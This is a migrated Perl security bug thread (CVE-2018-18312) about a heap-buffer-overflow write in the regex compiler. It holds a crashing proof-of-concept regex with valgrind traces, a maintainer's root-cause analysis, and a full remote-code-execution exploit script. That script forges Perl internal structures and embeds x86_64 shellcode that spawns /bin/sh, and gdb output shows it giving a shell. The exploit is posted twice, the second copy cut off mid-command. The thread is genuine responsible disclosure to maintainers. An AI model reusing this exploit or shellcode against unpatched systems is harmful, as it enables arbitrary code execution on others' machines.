[CVE-2018-18312] regcomp: heap-buffer-overflow write / reg_node overrun (perl-5.28.0, 5.26.2)

[p5pRT]

Migrated from rt.perl.org#133423 (status was 'resolved')

Searchable as RT133423$

[p5pRT]

From @Etsukata

# Summary

- a crafted regular expression can cause heap-buffer-overflow write during
compilation

# Affected Versions

- 5.29.1
- 5.28.0
- 5.26.2

# PoC

- 5.28.0
```
$ valgrind --leak-check=no perl -le 'my $r =
"(?[(?-​:(?[\\\x00]))\\]\x00|2[^^]\x80\x80\x80\x80])R.\\670"; qr/$r/'

==6867== Memcheck, a memory error detector
==6867== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==6867== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
==6867== Command​: perl -le my\ $r\ =\
"(?[(?-​:(?[\\\\\\x00]))\\\\]\\x00|2[^^]\\x80\\x80\\x80\\x80])R.\\\\670";\
qr/$r/
==6867==
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[ <-- HERE (?-​:(?[\]))\]|2[^^]????])R.\670/ at -e line 1.
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[(?-​:(?[ <-- HERE \]))\]|2[^^]????])R.\670/ at -e line 1.
==6867== Invalid write of size 1
==6867== at 0x4C13FD​: S_regatom (regcomp.c​:14041)
==6867== by 0x4C48A8​: S_regpiece (regcomp.c​:12003)
==6867== by 0x4C48A8​: S_regbranch (regcomp.c​:11931)
==6867== by 0x4B3A02​: S_reg (regcomp.c​:11708)
==6867== by 0x4D6160​: Perl_re_op_compile (regcomp.c​:7434)
==6867== by 0x58549B​: Perl_pp_regcomp (pp_ctl.c​:110)
==6867== by 0x4DD269​: Perl_runops_debug (dump.c​:2536)
==6867== by 0x4543AD​: S_run_body (perl.c​:2694)
==6867== by 0x4543AD​: perl_run (perl.c​:2617)
==6867== by 0x41FA49​: main (perlmain.c​:122)
==6867== Address 0x7d36680 is 0 bytes after a block of size 160 alloc'd
==6867== at 0x4C2EBAB​: malloc (vg_replace_malloc.c​:299)
==6867== by 0x4E6400​: Perl_safesysmalloc (util.c​:153)
==6867== by 0x4D598D​: Perl_re_op_compile (regcomp.c​:7280)
==6867== by 0x58549B​: Perl_pp_regcomp (pp_ctl.c​:110)
==6867== by 0x4DD269​: Perl_runops_debug (dump.c​:2536)
==6867== by 0x4543AD​: S_run_body (perl.c​:2694)
==6867== by 0x4543AD​: perl_run (perl.c​:2617)
==6867== by 0x41FA49​: main (perlmain.c​:122)
==6867==
panic​: reg_node overrun trying to emit 0, 7d36684>=7d3667c at -e line 1.
==6867==
==6867== HEAP SUMMARY​:
==6867== in use at exit​: 154,595 bytes in 670 blocks
==6867== total heap usage​: 950 allocs, 280 frees, 200,836 bytes allocated
==6867==
==6867== For a detailed leak analysis, rerun with​: --leak-check=full
==6867==
==6867== For counts of detected and suppressed errors, rerun with​: -v
==6867== ERROR SUMMARY​: 1 errors from 1 contexts (suppressed​: 0 from 0)
```

- 5.26.2
```
$ valgrind --leak-check=no perl -le 'my $r =
"(?[(?-​:(?[\\\x00]))\\]\x00|2[^^]\x80\x80\x80\x80])R.\\670"; qr/$r/'
==19854== Memcheck, a memory error detector
==19854== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==19854== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
==19854== Command​: perl -le my\ $r\ =\
"(?[(?-​:(?[\\\\\\x00]))\\\\]\\x00|2[^^]\\x80\\x80\\x80\\x80])R.\\\\670";\
qr/$r/
==19854==
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[ <-- HERE (?-​:(?[\]))\]|2[^^]????])R.\670/ at -e line 1.
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[(?-​:(?[ <-- HERE \]))\]|2[^^]????])R.\670/ at -e line 1.
==19854== Invalid write of size 1
==19854== at 0x5D9544​: Perl_uvoffuni_to_utf8_flags (utf8.c​:154)
==19854== by 0x4BAB11​: S_regatom (regcomp.c​:13493)
==19854== by 0x4BC535​: S_regpiece (regcomp.c​:11673)
==19854== by 0x4BC535​: S_regbranch (regcomp.c​:11598)
==19854== by 0x4ADBF8​: S_reg (regcomp.c​:11385)
==19854== by 0x4D1531​: Perl_re_op_compile (regcomp.c​:7313)
==19854== by 0x57D4AE​: Perl_pp_regcomp (pp_ctl.c​:108)
==19854== by 0x4D8231​: Perl_runops_debug (dump.c​:2451)
==19854== by 0x454455​: S_run_body (perl.c​:2532)
==19854== by 0x454455​: perl_run (perl.c​:2455)
==19854== by 0x421B89​: main (perlmain.c​:123)
==19854== Address 0x6029970 is 0 bytes after a block of size 160 alloc'd
==19854== at 0x4C2EBAB​: malloc (vg_replace_malloc.c​:299)
==19854== by 0x4E1130​: Perl_safesysmalloc (util.c​:153)
==19854== by 0x4D0E0C​: Perl_re_op_compile (regcomp.c​:7159)
==19854== by 0x57D4AE​: Perl_pp_regcomp (pp_ctl.c​:108)
==19854== by 0x4D8231​: Perl_runops_debug (dump.c​:2451)
==19854== by 0x454455​: S_run_body (perl.c​:2532)
==19854== by 0x454455​: perl_run (perl.c​:2455)
==19854== by 0x421B89​: main (perlmain.c​:123)
==19854==
panic​: reg_node overrun trying to emit 0, 6029974>=602996c at -e line 1.
==19854==
==19854== HEAP SUMMARY​:
==19854== in use at exit​: 124,573 bytes in 663 blocks
==19854== total heap usage​: 938 allocs, 275 frees, 169,419 bytes allocated
==19854==
==19854== For a detailed leak analysis, rerun with​: --leak-check=full
==19854==
==19854== For counts of detected and suppressed errors, rerun with​: -v
==19854== ERROR SUMMARY​: 1 errors from 1 contexts (suppressed​: 0 from 0)
```

[p5pRT]

From @khwilliamson

I suspect this is a serious security issue. One can position where beyond the end of buffer gets written by adding \x80's to the ones already there. But I'd be happy to be wrong about this.

The cause is one branch during the parsing leaves the parse pointer positioned one too far, and that causes the backslash to be skipped during pass2, which causes a ']' to be treated as a metacharacter instead of a literal.

The fix is to remove the single line that incorrectly increments the parse pointer.
I don't know that this being an experimental feature has any bearing on it.

There is another thing. The minus sign in this case could have been caught as incorrect. But the same out-of-bounds writes would occur if a '^' replaced the minus, and that would be a correct use.

Karl Williamson

[p5pRT]

The RT System itself - Status changed from 'new' to 'open'

[p5pRT]

From @khwilliamson

Resending this as it did not make it to the list​:

On Wed, 15 Aug 2018 11​:01​:24 -0700, khw wrote​:

I suspect this is a serious security issue. One can position where
beyond the end of buffer gets written by adding \x80's to the ones
already there. But I'd be happy to be wrong about this.

The cause is one branch during the parsing leaves the parse pointer
positioned one too far, and that causes the backslash to be skipped
during pass2, which causes a ']' to be treated as a metacharacter
instead of a literal.

The fix is to remove the single line that incorrectly increments the
parse pointer.
I don't know that this being an experimental feature has any bearing
on it.

There is another thing. The minus sign in this case could have been
caught as incorrect. But the same out-of-bounds writes would occur if
a '^' replaced the minus, and that would be a correct use.

Karl Williamson

[p5pRT]

From @Etsukata

The following code generates a regexp which executes arbitrary command
during global destruction.
It overwrites some SV pointer address to a crafted fake SV on overwritten
heap which has the malicious svt_free(shell_code) on its magic vtable.

Limitations​:

  - must set `execstack -s` to perl
  - require address leak(exact address of overwritten heap)

```
#!/usr/bin/perl

#
# RCE exploit PoC for
# [perl #133423] regcomp​: heap-buffer-overflow write
# on perl-blead-48ae8dc
#

use strict;
use warnings;

# 0xabcd => '\xcd\xab\x00\x00\x00\x00\x00\x00'
sub h2s {
  my $h = shift;
  my $sz = shift;
  my $ret = '';
  for (0..($sz - 1)) {
  $ret .= sprintf("\\x%02x", (($h >> (8 * $_)) & 0xff));
  }
  return $ret
}

# must set `execstack -s` to perl
my $cmd = 'gdb -q --args ~/perl5/perlbrew/perls/perl-blead-debug/bin/perl
-DorD -le ';
my $prefix = '\'my $r = "(?[(?x​:(?[\\\\a]))\\\\]a\x00';

my $address = 0xa34c7d; # overwrite start address
  # search with​:
  # (gdb) b regcomp.c​:14044
  # (gdb) p s
  # [CAUTION] must not contain ']' (0x5d)
  #
my $sv_any_address = $address + 8 + 4 + 4 + 8;
my $stash_address = $sv_any_address + 8 + 8;
my $stash_address2 = $stash_address + 8 + 4 + 4;
my $magic_address = $stash_address + 8 + 4 + 4 + 8 + 8 + 8 + 19 + 8;
my $mg_virtual_address = $magic_address + 8 + 8 + 2 + 1 + 1 + 8 + 8 + 8;
my $shell_code_address = $mg_virtual_address + 8 + 8 + 8 + 8 + 8;

my $body =
# sv($address)
  h2s($sv_any_address, 8)
. h2s(0x01, 4) # sv_refcnt
. h2s(0x100007, 4) # sv_flags (SVt_PVMG || SVs_OBJECT)
. h2s(0x00, 8) # sv->sv_u.svu_pv
# any($sv_any_address)
. h2s($stash_address, 8) # HV* xmg_stash
. h2s($magic_address, 8) # union _xmgu xmg_u (MAGIC* xmg_magic)

# xmg_stash($stash_address)
. h2s($stash_address2, 8) # sv_any
. h2s(0x01, 4) # sv_refcnt
. h2s(0x0c, 4) # sv_flags (SVt_PVHV)
# any($stash_address2)
. h2s(0x00, 8) # HV* xmg_stash
. h2s($magic_address, 8) # union _xmgu xmg_u (MAGIC* xmg_magic)
. h2s(0x00, 8) # padding

. '" . "a" x 19 . "' # padding
. h2s($address, 8) # OVERWRITE gvp

# xmg_magic($magic_address)
. h2s(0x00, 8) # MAGIC* mg_moremagic;
. h2s($mg_virtual_address, 8) # MGVTBL* mg_virtual /* pointer to magic
functions */
. h2s(0x00, 2) # U16 mg_private;
. h2s(0x00, 1) # char mg_type;
. h2s(0x00, 1) # U8 mg_flags;
. h2s(0x00, 8) # SSize_t mg_len;
. h2s(0x00, 8) # SV* mg_obj;
. h2s(0x00, 8) # char* mg_ptr;

# mg_virual($mg_virtual_address)
. h2s(0x00, 8) # int (*svt_get) (pTHX_ SV *sv, MAGIC*
mg);
. h2s(0x00, 8) # int (*svt_set) (pTHX_ SV *sv, MAGIC*
mg);
. h2s(0x00, 8) # U32 (*svt_len) (pTHX_ SV *sv, MAGIC*
mg);
. h2s(0x00, 8) # int (*svt_clear)(pTHX_ SV *sv, MAGIC* mg);
. h2s($shell_code_address, 8) # int (*svt_free) (pTHX_ SV *sv, MAGIC*
mg);

# x86_64 shell_code
.
'\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

. '])a\\\\6"; qr/$r/\'';

my $payload = $prefix . $body;

print $cmd . $payload . "\n";
```

Sample output

```
[eiichi@​x1 exploit]$ perl perl_regexp_mg_free.pl
gdb -q --args ~/perl5/perlbrew/perls/perl-blead-debug/bin/perl -DorD -le
'my $r =
"(?[(?x​:(?[\\a]))\\]a\x00\x95\x4c\xa3\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa5\x4c\xa3\x00\x00\x00\x00\x00\xe8\x4c\xa3\x00\x00\x00\x00\x00\xb5\x4c\xa3\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x4c\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
. "a" x 19 .
"\x7d\x4c\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x4d\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3c\x4d\xa3\x00\x00\x00\x00\x00\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05])a\\6";
qr/$r/'
[eiichi@​x1 exploit]$ gdb -q --args
~/perl5/perlbrew/perls/perl-blead-debug/bin/perl -DorD -le 'my $r =
"(?[(?x​:(?[\\a]))\\]a\x00\x95\x4c\xa3\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa5\x4c\xa3\x00\x00\x00\x00\x00\xe8\x4c\xa3\x00\x00\x00\x00\x00\xb5\x4c\xa3\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x4c\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
. "a" x 19 .
"\x7d\x4c\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x4d\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3c\x4d\xa3\x00\x00\x00\x00\x00\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05])a\\6";
qr/$r/'
Reading symbols from
/home/eiichi/perl5/perlbrew/perls/perl-blead-debug/bin/perl...done.
(gdb) b regcomp.c​:14044
Breakpoint 1 at 0x4cb38d​: file regcomp.c, line 14044.
(gdb) run
Starting program​:
/home/eiichi/perl5/perlbrew/perls/perl-blead-debug/bin/perl -DorD -le my\
\$r\ =\
\"\(\?\[\(\?x​:\(\?\[\\\\a\]\)\)\\\\\]a\\x00\\x95\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x07\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa5\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\xe8\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\xb5\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe8\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\
.\ \"a\"\ x\ 19\ .\
\"\\x7d\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x4d\\xa3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3c\\x4d\\xa3\\x00\\x00\\x00\\x00\\x00\\x48\\x31\\xd2\\x52\\x48\\xb8\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x50\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6\\x48\\x8d\\x42\\x3b\\x0f\\x05\]\)a\\\\6\"\;\
qr/\$r/
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
warning​: Loadable section ".note.gnu.property" outside of ELF segments
warning​: Loadable section ".note.gnu.property" outside of ELF segments
warning​: Loadable section ".note.gnu.property" outside of ELF segments
(-e​:0) sv_upgrade clearing PL_stashcache
(-e​:0) sv_upgrade clearing PL_stashcache
(-e​:0) sv_upgrade clearing PL_stashcache
(-e​:0) sv_upgrade clearing PL_stashcache
(-e​:0) sv_upgrade clearing PL_stashcache
(-e​:2) Looking for DESTROY method for IO​::File
(-e​:2) Looking for method DESTROY in package IO​::File
(-e​:2) Looking for method DESTROY in package UNIVERSAL
(-e​:2) Looking for method AUTOLOAD in package IO​::File
(-e​:2) Looking for method AUTOLOAD in package UNIVERSAL
(-e​:2) Set cached DESTROY method 0 for IO​::File
Enabling $` $&amp; $' support (0x7).

EXECUTING...

Compiling REx
"(?[(?x​:(?[\a]))\]a%0%x{95}L%x{a3}%0%0%0%0%0%1%0%0%0%7%0%20%0"...
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[ <-- HERE (?x​:(?[\a]))\]a?L??L???L?

?aaaaaaaaaaaaaaaaaaa}L?M?<M?H1H?/bin//shPH?WH??B;])a\6/ at -e line 1.
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[(?x​:(?[ <-- HERE \a]))\]a?L??L???L?

?aaaaaaaaaaaaaaaaaaa}L?M?<M?H1H?/bin//shPH?WH??B;])a\6/ at -e line 1.

Breakpoint 1, S_regatom (pRExC_state=pRExC_state@​entry=0x7fffffffcd40,
flagp=flagp@​entry=0x7fffffffca24,
  depth=depth@​entry=4) at regcomp.c​:14044
14044 *(s)++ = (U8) ender;
Missing separate debuginfos, use​: dnf debuginfo-install
keyutils-libs-1.5.10-6.fc28.x86_64 krb5-libs-1.16.1-13.fc28.x86_64
libcom_err-1.44.2-0.fc28.x86_64
libnsl2-1.2.0-2.20180605git4a062cf.fc28.x86_64 libselinux-2.8-1.fc28.x86_64
libtirpc-1.0.3-3.rc2.fc28.x86_64 libxcrypt-4.1.1-4.fc28.x86_64
openssl-libs-1.1.0h-3.fc28.x86_64 pcre2-10.31-8.fc28.x86_64
zlib-1.2.11-8.fc28.x86_64
(gdb) p s
$1 = 0xa34c7d ""
(gdb) b S_mg_free_struct
Breakpoint 2 at 0x4f0620​: file mg.c, line 556.
(gdb) dis br 1
(gdb) c
Continuing.
panic​: reg_node overrun trying to emit 0, a34d5c>=a34c8c at -e line 1.
Cleaning named glob SV object​:
SV = PVMG(0xa34c95) at 0xa34c7d
  REFCNT = 1
  FLAGS = (OBJECT)
  IV = 0
  NV = 5.28751820946919e-317
  PV = 0
  MAGIC = 0xa34ce8
  MG_VIRTUAL = 0xa34d14
  MG_TYPE = PERL_MAGIC_sv(\0)
  STASH = 0xa34ca5

Breakpoint 2, S_mg_free_struct (sv=sv@​entry=0xa34ca5, mg=0xa34ce8) at
mg.c​:556
556 const MGVTBL* const vtbl = mg->mg_virtual;
(gdb) bt
#0 S_mg_free_struct (sv=sv@​entry=0xa34ca5, mg=0xa34ce8) at mg.c​:556
#1 0x00000000004f1153 in Perl_mg_free (sv=sv@​entry=0xa34ca5) at mg.c​:588
#2 0x0000000000527d9e in Perl_sv_clear (orig_sv=orig_sv@​entry=0xa34ca5) at
sv.c​:6539
#3 0x0000000000528784 in Perl_sv_free2 (sv=0xa34ca5, rc=<optimized out>)
at sv.c​:7038
#4 0x00000000005273ec in S_SvREFCNT_dec (sv=<optimized out>) at
inline.h​:216
#5 S_curse (sv=sv@​entry=0xa34c7d, check_refcnt=check_refcnt@​entry=true) at
sv.c​:6970
#6 0x000000000052783a in Perl_sv_clear (orig_sv=orig_sv@​entry=0xa34c7d) at
sv.c​:6531
#7 0x0000000000528784 in Perl_sv_free2 (sv=sv@​entry=0xa34c7d,
rc=<optimized out>) at sv.c​:7038
#8 0x0000000000528c48 in S_SvREFCNT_dec_NN (sv=0xa34c7d) at inline.h​:227
#9 do_clean_named_objs (sv=sv@​entry=0xa2e958) at sv.c​:560
#10 0x0000000000524a07 in S_visit (f=0x5288b0 <do_clean_named_objs>,
flags=32777, mask=49407) at sv.c​:476
#11 0x00000000005292b0 in Perl_sv_clean_objs () at sv.c​:631
#12 0x000000000044ef00 in perl_destruct (my_perl=<optimized out>) at
perl.c​:908
#13 0x000000000041fb74 in main (argc=<optimized out>, argv=<optimized out>,
env=<optimized out>) at perlmain.c​:133
(gdb) c
Continuing.
process 13359 is executing new program​: /usr/bin/bash
Error in re-setting breakpoint 2​: Function "S_mg_free_struct" not defined.
sh-4.4$ date
Detaching after fork from child process 13509.
Mon Aug 27 22​:04​:46 JST 2018
```

2018-08-16 12​:52 GMT+09​:00 Karl Williamson via RT <
perl5-security-report-followup@​perl.org>​:

Resending this as it did not make it to the list​:

On Wed, 15 Aug 2018 11​:01​:24 -0700, khw wrote​:

I suspect this is a serious security issue. One can position where
beyond the end of buffer gets written by adding \x80's to the ones
already there. But I'd be happy to be wrong about this.

The cause is one branch during the parsing leaves the parse pointer
positioned one too far, and that causes the backslash to be skipped
during pass2, which causes a ']' to be treated as a metacharacter
instead of a literal.

The fix is to remove the single line that incorrectly increments the
parse pointer.
I don't know that this being an experimental feature has any bearing
on it.

There is another thing. The minus sign in this case could have been
caught as incorrect. But the same out-of-bounds writes would occur if
a '^' replaced the minus, and that would be a correct use.

Karl Williamson

[p5pRT]

From @khwilliamson

On 08/27/2018 07​:16 AM, Eiichi Tsukata wrote​:

The following code generates a regexp which executes arbitrary command
during global destruction.
It overwrites some SV pointer address to a crafted fake SV on
overwritten heap which has the malicious svt_free(shell_code) on its
magic vtable.

Limitations​:

  - must set `execstack -s` to perl
  - require address leak(exact address of overwritten heap)

Shouldn't this be getting a CVE?

```
#!/usr/bin/perl

#
# RCE exploit PoC for
#   [perl #133423] regcomp​: heap-buffer-overflow write
# on perl-blead-48ae8dc
#

use strict;
use warnings;

# 0xabcd => '\xcd\xab\x00\x00\x00\x00\x00\x00'
sub h2s {
    my $h = shift;
    my $sz = shift;
    my $ret = '';
    for (0..($sz - 1)) {
        $ret .= sprintf("\\x%02x", (($h >> (8 * $_)) & 0xff));
    }
    return $ret
}

# must set `execstack -s` to perl
my $cmd = 'gdb -q --args
~/perl5/perlbrew/perls/perl-blead-debug/bin/perl -DorD -le ';
my $prefix = '\'my $r = "(?[(?x​:(?[\\\\a]))\\\\]a\x00';

my $address = 0xa34c7d; # overwrite start address
                        # search with​:
                        #   (gdb) b regcomp.c​:14044
                        #   (gdb) p s
                        # [CAUTION] must not contain ']' (0x5d)
                        #
my $sv_any_address     = $address + 8 + 4 + 4 + 8;
my $stash_address      = $sv_any_address + 8 + 8;
my $stash_address2     = $stash_address + 8 + 4 + 4;
my $magic_address      = $stash_address + 8 + 4 + 4 + 8 + 8 + 8 + 19 + 8;
my $mg_virtual_address = $magic_address + 8 + 8 + 2 + 1 + 1 + 8 + 8 + 8;
my $shell_code_address = $mg_virtual_address + 8 + 8 + 8 + 8 + 8;

my $body =
# sv($address)
  h2s($sv_any_address, 8)
. h2s(0x01, 4)                # sv_refcnt
. h2s(0x100007, 4)            # sv_flags (SVt_PVMG || SVs_OBJECT)
. h2s(0x00, 8)                # sv->sv_u.svu_pv
# any($sv_any_address)
. h2s($stash_address, 8)      # HV* xmg_stash
. h2s($magic_address, 8)      # union _xmgu xmg_u (MAGIC* xmg_magic)

# xmg_stash($stash_address)
. h2s($stash_address2, 8)     # sv_any
. h2s(0x01, 4)                # sv_refcnt
. h2s(0x0c, 4)                # sv_flags (SVt_PVHV)
# any($stash_address2)
. h2s(0x00, 8)                # HV* xmg_stash
. h2s($magic_address, 8)      # union _xmgu xmg_u (MAGIC* xmg_magic)
. h2s(0x00, 8)                # padding

. '" . "a" x 19 . "'          # padding
. h2s($address, 8)            # OVERWRITE gvp

# xmg_magic($magic_address)
. h2s(0x00, 8)                # MAGIC* mg_moremagic;
. h2s($mg_virtual_address, 8) # MGVTBL* mg_virtual  /* pointer to magic
functions */
. h2s(0x00, 2)                # U16         mg_private;
. h2s(0x00, 1)                # char        mg_type;
. h2s(0x00, 1)                # U8          mg_flags;
. h2s(0x00, 8)                # SSize_t     mg_len;
. h2s(0x00, 8)                # SV*         mg_obj;
. h2s(0x00, 8)                # char*       mg_ptr;

# mg_virual($mg_virtual_address)
. h2s(0x00, 8)                # int  (*svt_get)      (pTHX_ SV *sv,
MAGIC* mg);
. h2s(0x00, 8)                # int  (*svt_set)      (pTHX_ SV *sv,
MAGIC* mg);
. h2s(0x00, 8)                # U32  (*svt_len)      (pTHX_ SV *sv,
MAGIC* mg);
. h2s(0x00, 8)                # int  (*svt_clear)(pTHX_ SV *sv, MAGIC* mg);
. h2s($shell_code_address, 8) # int  (*svt_free)     (pTHX_ SV *sv,
MAGIC* mg);

# x86_64 shell_code
.
'\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

. '])a\\\\6"; qr/$r/\'';

my $payload = $prefix . $body;

print $cmd . $payload . "\n";
```

Sample output

```
[eiichi@​x1 exploit]$ perl perl_regexp_mg_free.pl
<http​://perl_regexp_mg_free.pl>
gdb -q --args ~/perl5/perlbrew/perls/perl-blead-debug/bin/perl -DorD -le
'my $r =
"(?[(?x​:(?[\\a]))\\]a\x00\x95\x4c\xa3\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa5\x4c\xa3\x00\x00\x00\x00\x00\xe8\x4c\xa3\x00\x00\x00\x00\x00\xb5\x4c\xa3\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x4c\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
. "a" x 19 .
"\x7d\x4c\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x4d\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3c\x4d\xa3\x00\x00\x00\x00\x00\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05])a\\6";
qr/$r/'
[eiichi@​x1 exploit]$ gdb -q --args
~/perl5/perlbrew/perls/perl-blead-debug/bin/perl -DorD -le 'my $r =
"(?[(?x​:(?[\\a]))\\]a\x00\x95\x4c\xa3\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa5\x4c\xa3\x00\x00\x00\x00\x00\xe8\x4c\xa3\x00\x00\x00\x00\x00\xb5\x4c\xa3\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x4c\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
. "a" x 19 .
"\x7d\x4c\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x4d\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3c\x4d\xa3\x00\x00\x00\x00\x00\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05])a\\6";
qr/$r/'
Reading symbols from
/home/eiichi/perl5/perlbrew/perls/perl-blead-debug/bin/perl...done.
(gdb) b regcomp.c​:14044
Breakpoint 1 at 0x4cb38d​: file regcomp.c, line 14044.
(gdb) run
Starting program​:
/home/eiichi/perl5/perlbrew/perls/perl-blead-debug/bin/perl -DorD -le
my\ \$r\ =\
\"\(\?\[\(\?x​:\(\?\[\\\\a\]\)\)\\\\\]a\\x00\\x95\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x07\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa5\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\xe8\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\xb5\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe8\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\
.\ \"a\"\ x\ 19\ .\
